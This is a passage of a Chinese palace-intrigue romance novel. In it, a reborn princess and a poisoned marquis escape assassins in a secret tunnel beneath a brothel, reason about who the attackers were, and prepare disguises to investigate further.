叶拂青笑着看她一眼,“你啊,尽关注吃的了。”
叶拂青心中有事,过了午时便一直待在殿中。每隔一个时辰便有宫女进来禀报叶琼音的行踪,无非是写诗作画,焚香女红,没什么特别的。
本以为今日应当安然无恙,叶琼音不会再闹出什么事来。但直到亥时她准备入睡时,突然有一宫女匆匆来报,“惊华公主乔装打扮了一番,出宫去了。”
叶拂青皱了皱眉,一时间来不及再准备什么,她必须得赶紧追上,便只能拉住夕照急匆匆往宫外赶。
两人一路未停,终于在朱雀街头瞧见叶琼音的身影。只见她在藏香阁前站定,左右来回观察着,直到没发现异样才跑入藏香阁后的一条小巷中。
叶拂青也快步跟了上去,只见叶琼音在墙上一处按了按,便出现一道门,她快速钻了进去,整面墙壁又恢复成原样。
叶拂青心中疑虑更深,叶琼音怎么会如此熟悉此处的暗道?她甚至不可能会主动去青楼。还有谢濯和谢誉峤,他们三个人都和这个地方有联系,究竟是怎么一回事?
想到这,叶拂青眸色瞬间冷了下去。此时谢濯也有很大的嫌疑,并不能完全相信。
她敛起心神,上前模仿叶琼音的动作在墙壁上一阵摸索,却没有找到能触发的机关。
“公主,这里有个标记。”夕照趴在地上,指着才刚到脚底高的墙壁说。
叶拂青走过去,趴下细细观察着,这个标记刻得并不细致,只隐隐约约看得出这是一个眼睛。如果不是因为刚才的一系列事情,哪怕寻常看见,她也只会当这是谁家小孩玩闹时刻上去的。
叶拂青顺着这道眼睛一寸一寸地往周边探索着。
“动了,公主,墙动了。”夕照兴奋地说,反应过来后飞快地捂住自己的嘴巴。
叶拂青上前推开,这是一扇只能容纳一个人进去的狭窄密道,叶拂青转过头对夕照说:“我先去,你跟在身后,要处处小心。”
夕照点点头,小心翼翼跟在她身后。
叶拂青越走越觉得不对劲,一个青楼怎么会有这般隐秘的暗道,到底是作何用处?
密道漆黑一片,伸手不见五指,叶拂青只能用手摸索着前进,两人走了一刻钟,前方终于有几分亮光。
叶拂青心中欣喜,脚步加快,上前探头去看,却见尽头只是一间再普通不过的房间,房间内男女耳鬓厮磨,一片旖旎,哪有叶琼音的踪影。
走错了?叶拂青皱了皱眉,下意识回头去看夕照,便见本应该在她身后的人不知何时没了踪影,而她半点也未察觉到,就像是凭空消失了。
叶拂青的心瞬间被巨大的恐惧笼罩着,她茫然愣在原地,只能本能地压低声音叫喊,“夕照!夕照!”此时的她再顾不得去探究这里究竟有什么,只想着快点找到夕照。此处神秘莫测,若在此处出事,那可……
叶拂青不敢再细想,她顺着原路返回,一路摸索着,终于发现方才经过了一个岔道,一条通往有亮光的房间,所以更容易被发现。而另一处的尽头一片漆黑,不细瞧根本发现不了。
八成就是在这里走丢的。叶拂青拐进岔路口,脚步加快。
风声从耳边呼啸而过,叶拂青越往前走越发现里面别有洞天,原本以为是漆黑一片,没想到有几丝亮光透入,能稍微看得清脚下的路,但也仅此而已。
叶拂青一直紧紧盯着小道,唯恐错过夕照留下的信息。她又走了一刻钟,终于在角落发现夕照掉落的香囊,她难掩惊喜,低头去捡。
叶拂青将香囊牢牢握在手中,思考着这其中联系,但不等她细想,一柄冰凉的剑刃便贴上她脖颈。那人似乎是凭空出现在她眼前,无声无息,如鬼魅幽灵一般。
叶拂青浑身一震,后背发麻。她本想躲过三年后的结局,却无意间将死亡时间提前了?
“叶琼音?”叶拂青颤抖着声音问,她无法知晓这地道中到底有谁,只能凭着想法去猜。
她很明显能感受到对方在听见这个名字怔愣了一瞬,便趁此机会抬腿踢向对方手腕,只听对方闷哼一声,但没听见剑落地的声音。
叶
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拂青不求一击即中,当机立断转身往后方跑。
这到底是什么情况?这人究竟是谁?这条密道到底通向哪里?
身后脚步声不断,呼啸的风声像是那人在怒吼。
叶拂青心下着急,却发现自己没法再原路返回,那条岔路早已被堵死了。
她身后是冰冷的坚石,眼前是步步紧逼的神秘人。
她心一横,抽出袖口中的匕首,冷声斥道,“你究竟是谁?”
“询问对方名讳自己却不报上名来,这是哪个道上的规矩?”对方幽幽开口,声音低沉沙哑。
叶拂青一怔,觉得他同前世杀害她的人,发音方式十分相同,是为了隐藏自己的身份,而故意变了音。
“阁下要杀我,却不知我的身份?”叶拂青面上神情自若,手背在身后狠狠推着堵住路的石门。
“白费力气。”正是对方说话的这一秒,门稍稍被推动一块儿,叶拂青心中惊喜,手腕一转,以匕首作箭矢朝那人刺去,而她自己也趁机钻入缝隙之中。
那人被匕首不知刺中何处,但脚步仍旧未停,如索命恶鬼一般,“我早说过了……”
对方这时没有再伪装声音,叶拂青直觉有些熟悉,但也来不及多想什么,她想要快速从缝隙之中钻过,只一毫之差她便可以逃脱,但那人先她一步上前,狠狠抓住她的手腕。
“公主莫要再白费力气,不然我不敢保证我还会不会留住你这条命。”
叶拂青听见声音一怔,这听起来总让人觉得是在嘲讽的语气,全世界估计找不出第二个人。
她被对方抓得生疼,咬牙切齿地问,“谢濯?”
“呵。”谢濯轻笑一声,“公主总算认出来了?”
但认出来人是谢濯她却没半点高兴。谢濯和这神秘之地有联系,同前世刺客一样也会伪音。她能保证对方就不是凶手之一吗?
“你……”叶拂青强忍住心中惊慌,她控制住自己颤抖的声音,“既然认出我是谁,那便放手,我要出去。”
谢濯仍旧紧紧抓住她的手腕,听见她说的话,不仅没放手,反倒抓得更紧了,不多时,她的脖子上又多了一柄剑刃,“公主莫要乱动,不然我可不敢保证,我不会一时失手,伤了公主。”
疯子!叶拂青心中暗骂,但不敢再动了,她摸不准对方的心思。如果真要杀她,何必告诉她真实身份?又何必在这说如此多的废话?
“你为何来此处?”俩人异口同声问。
谢濯将她拽了回来,声音难掩怒意,“这话应当我问才对,公主不在宫里逍遥自在,反倒来这黑漆漆的地道作甚?”
“我自是有我的事。”叶拂青想要从他手中挣脱出来,但对方纹丝不动。
她现在没有武器傍身,万一真出什么事,就与待宰羔羊无异。
叶拂青伸出另一只手在他身上摸索,一边问“我的匕首呢?”一边想从他身上找出点别的武器。
不知她按到了何处,谢濯闷哼一声,透着几分痛苦。
叶拂青皱了皱眉,她的匕首能伤这么深?
还未等她细问,谢濯失力松开她的手,轰然一声倒下。
谢濯受伤了?!
9. 第 9 章
为何刚才还有力气威胁她的人,此时会这般脆弱。叶拂青疑惑不解,但第一反应便是逃走,她同这人又不是什么非救不可的关系,况且此人疑点重重,她为什么要救一个可能会是凶手的人?
思及此,她转身就走,半点不拖泥带水。
“叶拂青……”谢濯急切出声,声音沙哑宛如声带被撕裂,哪怕这般,他的语气中也迸发出恨意,“我要你救我,这是你予我的承诺。”
叶拂青脚步一顿,脑海中天人交战。他若死在这里,那万事大吉;他若没死成,那等他活着出去……
叶拂青迟疑地停下脚步,试探着从他手中将剑夺了过来,只见他毫无反应,予取予求。
看见他这般模样,她又有了别的想法。倘若在此处将他杀了,那她也不必为他是不是凶手而担惊受怕,连婚约也不必继续,甚至守寡也是不能接受。
叶拂青慢慢将剑抵在他脖颈处,语气凌厉,“不如侯爷先告诉我,你为何会在此处?”
“公主这是打算过河拆桥?”谢濯大口喘着粗气,声音难掩怒意,“呵,想来也是,公主谎话连篇,答应的承诺又怎会算数呢?”
承诺承诺承诺!他们谢家人答应她的承诺何时做到过。
叶拂青眸中恨意尽露,又将剑刃往下按了几分,直到听见他的抽气声才停下,“将整件事情一五一十地告诉我。”
谢濯似乎是看出她此时情绪不对,只能强忍住心中怒火,哑声说,“今夜我同幕僚在藏香阁议事,不料有刺客行刺将我重伤,我便一路追查至此。”
“有人能伤得了你?”叶拂青自是不信,他身手不凡,连影卫也要稍逊他一筹,何人能在他的地盘伤了他?
“漏洞百出,你在说谎。”
此言一出,谢濯剧烈地咳嗽起来,他往日对叶拂青说过的话统统都还给了自己,这滋味可不好受。
“信与不信,随你。”谢濯咬牙切齿地说。
“侯爷好魄力,那想必是杀与不杀也随我了?”叶拂青没有丝毫犹豫,想要动手抹了他的脖子。
“谢誉峤!”谢濯怒吼出声,语气中屈辱更甚,“我见刺客身形和谢誉峤太过相似,又唯恐真的是他,便只身追查。但那人的箭矢上有慢性毒药,直到我追至此处才发作,等我反应过来时已经来不及了。”
谢濯说完,又冷哼一声,眸光森然,“也是多亏了这毒药,公主才能如此嚣张待我,过瘾么?”
叶拂青不理会他的嘲讽,开始细细盘算起来,她跟踪叶琼音所以到了这里,谢濯跟踪谢誉峤也来了这里。究竟是叶琼音和谢誉峤机关算尽,在筹谋他们都不知道的事;还是他们跟踪的人并不是真正的叶琼音和谢誉峤?
“你……”叶拂青难掩心中烦躁,声音冷了几分,“我最后再问你一个问题,你老实回答我,我便救你。”
“你可对我动过杀心?你有没有参与过任何对我的联合迫害中?”叶拂青拧眉质问道,死死握住手中剑。
谢濯沉默不语,恍若陷入回忆之中,直到好一会儿他才抬起头来,深吸一口气,语气认真严肃,“从未有过,我对公主你的命不感兴趣。”
叶拂青思绪很乱,甚至不知道这个答案她该满意还是不满意,她用手狠狠抹了一把脸,让自己清醒几分。
她蹲在地上,摸索着找到掉落的匕首,递给他,“剑你拿着我不放心,便先将就着用匕首防身吧。我现在还得去找夕照,等找到她,我会回来救你的。”
“我能相信你么?”谢濯问。
叶拂青起身,居高临下地看着他,冷漠道,“除了相信我,你没别的路可走。”说完,她便拿着剑急匆匆地往前走。
“注意对方的暗器。”谢濯在身后提醒。
叶拂青脚步微顿,没有回头,她将剑立在前方,步伐谨慎了不少,继续向前。
密道四通八达,她一开始以为的尽头,原来只是另一个分岔路口,她不敢大意,一路上都用剑在最容易摸到的墙壁上做了标记。
但一路走来,连半个人影也没见到,只有持续不间断的风声。叶拂青皱了皱眉,直觉这条密道应当通往郊外。只是一个青楼,为何会修建这样一个密道?她想到谢濯几人,反应过来这藏香阁肯定不只是青楼这么简单,究竟还有什么身份,而她连半点消息也没听到过?
“你是谁?”前方突然传来一道惊呼,叶拂青听见声音脚步加快,这是夕照的声音!
她顺着声音匆匆往前,耳边只有夕照的呼救声。恐惧、迫切、害怕,种种情绪混杂在一起,她仿佛和夕照身处同一个境地下。
“放开她!”叶拂青寻到二人,怒吼出声。
黑衣人被突如其来的叫喊声一惊,手稍稍侧开,剑从夕照脸上划过。夕照趁他愣神的时间弯腰快速朝叶拂青跑了过去。
叶拂青将她护在身后,快步上前挥剑刺向他心脏,被对方抬刀挡住,本以为是一场殊死搏斗,但对方躲过后便挥袖甩出几支冷箭,趁她躲避的机会快速溜走。她皱着眉头看着那人的背影,这人身形和谢誉峤实在太过相似,难怪谢濯会不顾一切追过来。
但现下最重要的显然不是追击他,叶拂青收了剑,转过身问,“夕照,你怎么样?有没有哪里受伤?”
夕照带着劫后余生的后怕和庆幸,哭着摇摇头,又扑过去抱住她。
“告诉我先前都发生什么了?”叶拂青尽量语气柔和。
夕照缓了几口气,将她从失踪那时起直到现在的一切细细道来,“我本来一路跟随公主往前走,但在经过一个路口时,我想叫住公主,却不知从哪冒出来的手用手帕捂住我的嘴。我只记得那双手很白,手帕上的味道很呛人,但是我没力气叫出声来,慢慢的就晕过去了。”
手很白?叶拂青皱了皱眉,追问道,“那人的身形你可还记得,是更像谢誉峤还是叶琼音?”她想了想,又补充道,“是不是刚才那个人?”
“不是。”夕照回忆了一会下,摇了摇头,继续说:“把我弄晕的那个人似乎是个姑娘,她拖着我走了一段
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路,但我能感受到自己和她差不多高。我不知道我被扔在哪里,再醒来的时候我……”
夕照顿了顿,想起当时的情形,“再醒来的时候我就看见了那个黑衣人,我问他是谁他不说话,但他好像也没有动手打算杀我。但我当时太害怕了,我大叫起来,然后他拔出剑想要让我闭嘴。”
叶拂青听完,已经不知道该如何形容。
两人都没有对夕照下死手,他们并不想杀她?甚至于刚才自己和黑衣人过招时,对方也没有想杀她的意思。
他们的目标是谁?叶拂青猛地反应过来,进入这个密道的,除了她们俩,还有个谢濯。
叶拂青心下一惊,拉住夕照的手一边跑一边说,“我们先原路返回,谢濯可能有危险。”
她寻着标记一路往回走,瞧见谢濯的同时也瞧见一个黑衣人,他紧握匕首,勉强挡住对方的出招,处境狼狈。
黑衣人比谢濯还先一步意识到她赶来,丝毫不留给她加入战场的机会,毫不恋战,再度跑了。
叶拂青正想追过去,就听谢濯嘶哑出声,“别追了,你对这里不熟悉,怎么可能斗得过他?况且……”他顿了顿,偏头吐出一口血,“我现在是真的快要死了。”
叶拂青啧了一声,蹲下去检查他的伤势,比她走时又多了几处刀伤,伤口不深,应当是那黑衣人还未来得及下死手。
不对她们俩动手,只对谢濯动手,究竟是因为谢濯才是他们的目标,还是这其中的黑衣人不止一个?
她被纷纷扰扰的联系绕晕了,一时间想不出来什么,便快速从自己身上扯下几块长条衣布,将他比较严重的伤口简单包扎了一下。“你不是很厉害么?也有这么做人刀下鱼肉的一天?”
“公主明明会包扎,刚才怎么不这么做?”谢濯冷冷看着她的动作,声音幽幽。
叶拂青狠狠将布条拉紧,听见他疼得闭嘴,才淡淡开口,“方才我要救的人,不止你一个。”
谢濯明白她的意思,一时沉默不语,任由她动作。
将他的伤势处理好后,叶拂青扶住墙壁慢慢站起身来。夕照朝她走近,将外袍脱下盖在她身上,继而跟她一起将谢濯扶了起来。
三人互相搀扶着往外走。三人突然都沉默下来,叶拂青朝谢濯瞥了一眼,他的唇色变得乌青,已然是中毒已深的状态,整个人也像没骨头一般软趴趴地靠在她身上,她不由得加快脚步。
他们出来时,天边已经泛起了鱼肚白,叶拂青没想到自己会在秘道中耽误一晚上但收获甚少,反而给自己平添麻烦。
藏香阁已经被捕快牢牢围了起来,守在后门的几个侍卫瞧见他们出来,急匆匆走上前来,“主子!你怎么样?”
谢濯被他们的嗓门叫得直皱眉头,挥挥手示意他们闭嘴。
叶拂青见此情形,也松了一口气,“既然有人护你,那我们便回宫了。”她正准备松开谢濯的手,却被他一把抓住。
“一起,回侯府。”谢濯一字一顿地说,不容置喙。
10. 第 10 章
叶拂青冷眸扫过他拉住自己的手,明白过来他的意思,淡声道,“走吧。”
三人挤在一辆马车中,心思各异。
叶拂青心乱如麻,她还有太多问题要问,整个事件扑朔迷离,而她一时间又不知从何理起。
她下意识偏头看向谢濯,他靠在侧窗上闭眼小憩,但额头却止不住沁出汗珠,嘴唇或乌青或苍白,即使狼狈,也依旧端着一副气定神闲的模样。
“想问回去问。”谢濯对她的视线若有所察,淡淡开口。
叶拂青长叹一口气,只能暗自祈祷他会是这个事件的突破口。
“侯爷,到了。”侍从说着,帮他们掀开车帷。三人走下,一齐进了侯府。
侍从站在一旁,出声禀报,“侯爷,李大夫已在书房等候多时。”
“嗯。”谢濯点点头。
叶拂青此时思绪繁杂,听见书房一词便已经下意识朝书房的方向走去,压根没能注意到其他几人惊讶的眼神。
“公主对侯府很熟悉?”谢濯在身后问道,疑惑中带了几分质问。
听见声音,叶拂青这才猛地止住脚步。只因前世住在侯府对这太过熟悉,她下意识就做出了动作。但她今生尚未进过侯府,理应不该这么熟悉。
她后背冷汗直流,转过头去故作自然地说,“你们二人说话时都潜意识朝向这边,那书房自然在这个方向了。侯爷是觉得我连半点判断能力也没有么?”
谢濯漠然扫她一眼,没说信与不信,只是没再深究。
叶拂青垂眸跟在他身后,心中暗叫大事不妙。之前做的种种事本身就足够让他怀疑,现下又平添一份“罪状”。她闷头只盯着脚下的路,颇为郁闷,这嫌疑她估计是很难洗脱了。
一行人行至书房,便见一位鹤发童颜的老翁站在门口向他们行礼。
叶拂青回忆了一下他的称呼,客客气气开口问,“李大夫稍等能不能给我家丫鬟也瞧瞧?”
“自是可以。”李大夫和煦笑道。
几人推门而入,屋内陈设摆放整齐,一想到他的书房之中可能藏着什么机密,叶拂青便不由得多看了几眼。
“公主放心,就算我这有机密,我也不至于傻到引狼入室。”谢濯说。
他此时像是从中毒中缓过劲了,明里暗里地嘲讽她。叶拂青见他这幅模样冷笑一声,“侯爷还有力气说风凉话,应当甚是怀念密道的滋味吧?”
李大夫正抬手按住谢濯的伤口要帮他处理,他开口只闷哼一声,没再言语。李大夫将他翻来覆去细细检查一番,每处伤口都处理细致。
叶拂青撑头看了一会儿便觉得困乏,同夕照一起,伏案睡着了。
两个时辰后。
“侯爷,差不多了。”李大夫开口。
叶拂青听着声音缓缓睁开眼,随即推了推一旁的夕照,让她清醒些方便待会诊脉。
“此毒易解,并不危及性命,但短期内无法彻底根除,这段时间,侯爷应该会时常感到浑身乏力。”李大夫仔细说明了一番,话题突转,“草民听闻侯爷要成亲了,不知是哪日?”
谢濯不知道他问这句是为何,但还是坦然回答,“应当是本月末。”
叶拂青闻言,瞪大眼睛看着他,她怎么不知道自己这么快就要成亲了?但他丝毫不理会她疑惑的眼神。
“只余半个月,侯爷的伤恐怕不能完全好。”李大夫斟酌了一会,又说,“需得记住,洞房之夜,切不可太过劳累。”
谢濯正细细听着他的叮嘱,未曾想到是这样么一句话,不由得喉咙一梗,不知作何反应。
叶拂青闻言也是一怔,只好低着头假装自己什么也没听见。
两人都默契地“以不变应万变”,但坐在一旁的夕照惊叫出声,“什么?!”随即又担忧地推了推坐在一旁企图装鸵鸟的叶拂青,因为太过激动半点也没收着声音,“公主你听见了没?侯爷他……”
叶拂青眼疾手快捂住她的嘴,连忙说,“听见了听见了。”还能没听见吗,这李大夫半点不避人,不就是故意说给她听的么。
“有话回去说,好吗?”叶拂青眯缝着眼看她,直到夕照点点头表示会安分一点她才松开手。
夕照安分了不过几分钟,又压低了声音,凑到她耳边说,“但是,侯爷他不行,这怎么办啊?”
叶拂青扶额,不断用眼神暗示她,想说你以为压低了声音谢濯就听不见了吗?习武之人耳朵都灵得很。
只是夕照满脸焦急哪顾得上接收她的眼神,压低了声音又开口了,“果然还是得养面首。”语气中满是对叶拂青婚后生活的担忧。
“哈哈哈哈。”叶拂青狂笑几声,打断她的话,又看向李大夫,一语双关,“李大夫替侯爷看好没有?要不如先看看我家这位的脑子吧,方才在秘道中可能磕坏了脑子。”
“稍等一刻钟便好。”李大夫笑着说。
叶拂青不知道他们是听清了还是没听清,但两人的神情未变,她也瞧不出什么,只能想着他们不在意便好。
未到一刻钟,李大夫便已经整理好药箱。他朝夕照走去,隔着手帕搭在她脉搏处,“不知姑娘可有哪处不舒服?”
夕照思考了一会儿,摇摇头说:“没有了。”虽然她说没有,但叶拂青担心是暗伤看不出来,又拉着李大夫仔细重新检查了一遍,确认她确实没有别处受伤,才放下心来。
“草民告退。”李大夫鞠躬行礼,走了出去,房间里便只剩下他们三人。
“现下可以好好聊聊究竟是怎么一回事了。”谢濯的声音是一贯的冷漠,丝毫没有受到刚才的影响。
叶拂青也敛了心神,不再想乱七八糟的,沉声说:“我方才细细思考过一番,不知侯爷这黑衣人的身份可有什么猜想?”
谢濯不知她们经历的事,也搞不懂她在打什么哑谜,“直接说,不必拐弯抹角。”
“啧。”叶拂青瞥了他一眼,又拍拍夕照,示意她将自己的所有经历再说一遍。
谢濯听完,一言不发,抬眼朝她看过来,等着她的下文。
叶拂青缓缓开口,“很显然,这其中的黑衣人至少有两个。一开始迷晕夕照的
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人大概率是个女子,我觉得叶琼音的嫌疑最大。但也有一种可能,那就是我们跟踪的并不是真正的叶琼音。”
“第二个就是我们几个都见到过的那个黑衣人。”叶拂青顿了顿,语气严肃,“侯爷觉得,原先刺杀你的,和后来在密道中对你动手的黑衣人,是同一个人吗?”
听完她一番话,谢濯才再度回忆起遇刺时的场景和方才和那人对峙的模样,他眉头紧蹙,“是同一个人。”
听到他的答案,叶拂青面色愈发沉重,“最后碰见的黑衣人,他并不想杀我们,但却对你动手了。原先我一直以为是因为你才是他的最终目标,当现下我觉得还有另一种可能。”
谢濯一眨不眨地看着她,连坐在她身旁的夕照也不敢大声喘气。
“那就是,我和夕照遇见的黑衣人,和最后对你动手的黑衣人并不是同一个。这样一来,就意味着今日我们碰见了三个黑衣人。”叶拂青说,“你再回忆一番,这两次动手,他可有哪处不同?”
谢濯听见她的猜想难掩震惊,但还是再回忆了一遍,仔细想过对方动手的细节和身形,他再度开口,“之后这一次,他似乎要笨拙许多。我以为他是因为被我打伤所以行动不便,这么一想,他似乎是在刻意伪装成一个不擅长杀人的新手。但是从他出手的动作和种种细节,我都能确认他就是先前刺伤我的那个人。”
闻言,叶拂青皱了皱眉,疑惑出声,“伪装?笨拙?”
这人既然想要谢濯的命,为何不快刀斩乱麻?他是在模仿谁?叶拂青沉思了一会儿,觉得翻涌而上的猜想有些恐怖,“原先你说,是因为那人的身形像谢誉峤才只身追来,而我和夕照遇见的那人,身形同谢誉峤也十分相似。究竟是这个世界上如此巧合,有两个同谢誉峤如此相像的人,还是说,这其中一个,就是谢誉峤?”
她话音刚落,便见一只飞镖从谢濯的方向飞来,擦过她耳侧,带走一缕发丝,砰的一声钉在墙壁上。
“呵,侯爷恼羞成怒了?”叶拂青冷眼看去,只见他面色发沉,像是怒极了。
“现下只不过是个猜想侯爷便觉得难以接受。遭亲近之人背叛这有何难以置信的?哪怕是日日同进同出的枕边人也有可能背叛甚至对你动手……”她说出来却觉得声音有几分颤抖,将那一丝怨恨忍住,才再度开口,“侯爷经手的案件众多,难道不明白这个道理吗?”
“抱歉。”谢濯声音沙哑,不知是何情绪,“公主继续说。”
叶拂青本想拂袖走人,但这件事情尚不明朗,她可不像某人似的只会怒火上头。
“不知侯爷现在可想清楚没有,对你动手的黑衣人既然想要你的命为何还要伪装?”叶拂青冷呵一声,“他就是想要模仿谢誉峤作案,混淆视听,让我们分不清楚真凶是谁。”
“而能将谢誉峤写得如此相像的,关系必然十分亲密。所以……”
叶拂青见他脸色苍白,也不直接点破。现在无论是哪种情况,谢誉峤都可能是刺杀谢濯的推手。
她难得有几分同谢濯感同身受,谁也没有再说话。
11. 第 11 章
叶拂青沉思了一会儿,又觉得存在漏洞。她一直认为谢誉峤和叶琼音十分痛恨自己,那在密道之中如此好的机会他们为什么不动手?为什么会轻易放过她?
她眉头紧蹙,更加无法理解那两人的心思。她潇洒两辈子,还从没有这么费心费力地去猜别人的心思,往日都是“随他们去”“管那些干什么”,但现在,一个不谨慎就可能是万劫不复。
叶拂青有些心烦意乱,长叹一口气,说,“也或许是我猜错了,倘若真的是谢誉峤和叶琼音,他们没理由不对我动手。侯爷不必将我的想法太过放在心上,只需记得他可能是,多加防范便好。”
“为什么他们会对你动手?”谢濯抬眼看来,似是不解,“我未曾听说过公主和他二人的过节有如此之深,誉峤何处惹了公主……”
“侯爷。”叶拂青打断他的话,知道他不清楚前因后果,也不想跟他多费口舌。她敛眸,平静下来,“不必再继续这个话题了。侯爷还是告诉我藏香阁密道究竟是怎么一回事吧。你们为何会和它扯上联系?”
谢濯没有再追问,只道,“公主可知晓,何处最易得到密报?”
叶拂青心中意动,同他对视一眼。
“蜜语甜言,枕边佳人,世间何人能轻言拒绝?”谢濯说这些话时并不轻浮,反倒严肃正经得很,“自我回京统领皇城司后,便收买了不少艺妓作暗线,也安插了暗探在藏香阁中。那老鸨是个人精,密道又藏得深,起初我也没有注意到。只是某次在追查逃犯时那人凭空消失,迫于窝藏罪犯的压力,老鸨才向我坦白密道一事。不过她也只说这密道在藏香阁建立之初便有了,这条密道是作何用处她并不知晓。”
叶拂青闻言,心中有了个大概的了解,她半调侃半疑惑地说:“只有这么些消息?侯爷没用刑?”
谢濯漠然扫她一眼,“用了,但她确实只知道这些。”末了,他补充道,“‘跟我们老板关系稍亲密些的,应当都知道,算起来各种人都混进去过,我一个替人做事的哪能知道的那么清楚嘞?’,这是她原话。”
见他面无表情地转述,叶拂青故作夸张地笑起来,妄图将一直以来阴郁的氛围冲淡,但谢濯依旧冷着一张脸,丝毫不接受她的好意。
“行吧。”叶拂青双手拍了拍大腿,作无奈状,“那侯爷可查出来这幕后之人是谁了吗?”
“未曾,这人十分神秘,哪怕是坊间关于他的传闻也极其少。大部分时候都是老鸨充当藏香阁的老板处理事务。”谢濯说。
叶拂青闻言不由得冷笑,“能将基业交给外人打理,不知是这人太过洒脱,还是这藏香阁只是个掩人耳目的幌子。这京城众多人都未曾听说过他的名讳,能在天子脚下瞒天过海,本领可真是不小。”
她思酌了一会儿,眉头渐渐皱起。整件事情错综复杂,一时间难以找到合适的切入口。
“倘若那两人当真是叶琼音和谢誉峤,那他们今日在密道同我们碰上,往后必定会更加小心,要想再抓住他们的马脚可就难了。我本想着从这幕后之人下手,但侯爷查了这么久也未曾查到,岂不是两条路都行不通了?”叶拂青说。
谢濯瞥了她一眼,缓缓开口,“能提供线索的,还有一人。”
“谁?”叶拂青惊诧出声,看向谢濯。只见他嘴角勾着一抹若有若无的笑,颇带嘲讽之意。
“藏香阁同他关系最亲近之人。”谢濯点到为止,并不多说。
“噢我知道了!”夕照反应过来,激动地拍了拍她的肩,说:“那日我们去藏香阁,谢二公子身边的那位姑娘,是叫兰姑娘对么?”
谢濯点点头,“兰棠曾是藏香阁魁首,又同誉峤关系不一般,哪怕她不知晓幕后老板之事,也定然知晓誉峤的计划和打算。”
叶拂青这才反应过来他们口中所说之人是谁,只是她对此人的印象甚是模糊,无论前世今生,她都未曾注意到有这么一位“兰姑娘”,况且前世的谢誉峤也并未如此频繁地出现在藏香阁。
她细细回忆了一下,从她请求更改赐婚人选后,谢誉峤同这个兰姑娘在一起出现的频率便愈发高了。所以他们是因为被她打乱了计划,所以又另寻新法?
“这位兰姑娘身份倒是特殊,说不定替谢誉峤牵线搭桥之人便是她呢?”叶拂青笑着说,“不过以你我的身份去找,恐打草惊蛇。侯爷难不成是想直接将人掳来严刑拷打一番。”
“有何不可?”谢濯淡然道,神情自若,似乎没觉得有丝毫不妥。
叶拂青哑然失笑,“侯爷一无人证二无物证,严刑逼供不怕引来众怒吗?”
“我在京中早已树敌众多,何必在意这点仇恨。”谢濯声音仍旧无波无澜。
叶拂青“呵呵”干笑几声,虽然对他这副强硬做派早有耳闻,但亲身经历时还是觉得有几分无语。“侯爷哪怕不在乎,也不必如此刻意斩断自己的退路,我们自然有更好的法子。”
“我识得一位江湖人士,最善乔装打扮,不如让她替我们二人改头换面,造个假身份接近对方。”叶拂青沉思了一会儿,说:“我便是那从江南而来的富商少爷,侯爷你是我的侍卫,不知侯爷可愿委屈一下自己?”
“公主这是趁机报复?”谢濯看着她喜笑颜开明显憋着坏的脸,说。
“怎么会,一切以大局为重。”叶拂青勾了勾唇,表情正经几分,“侯爷周身气质同藏香阁何等违和,真有姑娘愿意接近么?还是说,侯爷觉得自己能演好一位花花公子不露馅?”
“不必了。”谢濯说,“按公主的想法。”
事情商量好,叶拂青心中一直紧绷的弦终于松懈下来,她打了个哈欠,觉得甚是疲惫,“既已无事,那我二人便先行回宫,今夜何时行动?”
“公主不如将就一番,在此处歇息。”谢濯说。
叶拂青抬眸看向谢濯,等着他的解释。
“藏香阁的姑娘个个都是人精
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,公主是觉得只需一番装扮拾掇,便能将她们糊弄过去?”谢濯意有所指地说,“倘若一来一回,恐误了时间。更何况,宫中人多眼杂,保不齐就会被你那妹妹知晓。”
这一番话说得在理,叶拂青也知晓此时该以大局为重,不必挑挑拣拣。“那便依侯爷安排。我今日实在是困乏得很,侯爷能否安排人去帮我将那人寻来?”
见谢濯点头,叶拂青随意地从书案上拿起笔,直接将重要信息写在铺好的宣纸上,末了吹干墨迹递给他。
谢濯看着她这一番自然且行云流水的动作,戏谑道,“公主还真是丝毫不客气,同在自己书房一般。”
“往后都是一家人了,何必分你我。”叶拂青冲他挑了挑眉。
谢濯没再多说,将纸收好,一边往外走一边说:“公主自便,到时间我会吩咐人来叫你。”
等他走后,叶拂青环视四周,她倒是真对谢濯的书房有些好奇,但一想到这人眼尖心细,太过容易被发现,便被迫打消了自己蠢蠢欲动的想法。
睡意渐渐又涌了上来,她拉着夕照一齐躺在一旁的榻上,因为一宿没睡,情绪又时时紧绷着,这一觉睡得格外沉。
等她再醒来时,外边的天已经黑了,房中烛火未燃,一片昏暗。
她抬眸看向门外,依稀听见谢濯在问话,他的身影在室外灯火的照射下映在门窗上,时动时静。
她揉了揉惺忪的睡眼,让自己清醒几分,又轻轻推了推一旁的夕照。
没过多久,书房门被敲醒,谢濯在门外问,“公主,可睡好了?”
见夕照也缓缓转醒,叶拂青扬声回答,“嗯。”
门被来人打开,叶拂青瞧见的却是一张普通到泯于众人的一张脸,只有那双眼睛依旧深邃锐利,显得有些突兀。
“谢濯?”她有些不确定地开口,这张脸除了那双眼睛,实在是再找不到同谢濯相似的五官。
谢濯对她惊讶的表情视若无睹,淡淡嗯了声,又将身后衣着怪异的中年女子领了进来。
“公主。”中年女子朝叶拂青鞠了一躬,唤道。
叶拂青见到故人颇为高兴,笑着说,“张仙,许久未见了。”
谢濯出声打断二人的叙旧,“时候不早了,不如一边准备一边叙旧吧,还望两位尽快。”
叶拂青再次看向他,见他顶着这么一张脸但举止如此嚣张,心中是说不出的怪异,往日便觉得他欠揍,如今似乎更欠揍了。她闭了闭眼,移开视线。
“是。东西皆已备好,还请侯爷回避。”张仙笑了笑,说。
谢濯点点头走了出去。张仙娴熟地在她脸上捏着五官,如同作画一般,格外细致。
夕照坐在一旁手撑着脑袋看着,过了一会儿突然说:“往日侯爷虽也惹人厌,但看着那张脸还是能原谅几分,如今顶着这么一张脸,哎。”夕照叹了口气。
叶拂青想起谢濯方才那张脸,不置可否。
12. 第 12 章
叶拂青虽处处看谢濯不顺眼,但不可否认他的脸算得上京中翘楚,今日一对比便更加明显了。
张仙一边在她脸上雕琢一边说,“听闻公主拒了谢二公子,要同大公子成亲?”
叶拂青无言点了点头。
“公主喜欢的类型倒始终如一呢。”张仙揶揄道,“方才替侯爷上妆时我便觉得他二人的脸极为相似。”
叶拂青已经许久未将他们二人相提并论,除去初见时混淆,往后她已经能很清晰地分辨出。她漫不经心地说,“谈不上欢喜。况且他二人不过是脸有几分相似罢了,看多了便不觉得了。”
张仙意味深长地冲她笑笑,没再多说。
一个时辰后,叶拂青整张脸焕然一新,她站起身来,在夕照的侍奉下换上早已准备好的男子衣裳。
